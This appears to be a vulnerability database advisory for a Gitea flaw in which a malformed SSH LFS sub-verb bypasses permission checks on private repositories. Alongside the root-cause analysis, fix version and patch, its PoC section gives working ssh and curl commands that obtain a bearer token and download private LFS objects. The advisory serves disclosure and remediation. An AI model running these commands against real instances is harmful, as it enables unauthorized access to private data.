Skip to content

GHSA-7wvc-rvp7-w99x CVE-2026-58423 GO-2026-6046

Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories

High Go
Severity
7.7 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 33.50% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
Fix
1.26.3
Upgrade code.gitea.io/gitea to this version or later

Description

Summary

A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.

Details

In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:

setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
return perm.AccessModeNone

In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:

if repoExist &&
    (mode > perm.AccessModeRead ||
     repo.IsPrivate ||
     owner.Visibility.IsPrivate() ||
     (user != nil && user.IsRestricted) ||
     setting.Service.RequireSignInViewStrict) {
    ...
    if userMode < mode {  // userMode < 0 is always false
        // deny access
    }
}

For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.

The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:

if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
    return nil, errors.New("invalid token claim")
}

Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.

PoC

Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).

# 1. Verify attacker has NO access via normal LFS authenticate
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
# Output: "User: attacker is not authorized to read admin/private-repo."

# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}

# 3. Use stolen token to request LFS object download
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Authorization: Bearer eyJ..." \
  -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
# Returns download URL with valid authorization header

# 4. Download private LFS content
curl -H "Authorization: Bearer eyJ..." \
  "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
# Returns the private LFS object content

Impact

Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).

Suggested fix

Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:

case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
    switch lfsVerb {
    case git.CmdSubVerbLfsUpload:
        return perm.AccessModeWrite
    case git.CmdSubVerbLfsDownload:
        return perm.AccessModeRead
    default:
        return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
    }

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
>= 1.23.0, < 1.26.3
1.26.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.26.3

go
go get code.gitea.io/gitea@v1.26.3 && go mod tidy

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
GHSA-fw57-jgch-pgf3
Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
High Also affects code.gitea.io/gitea
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor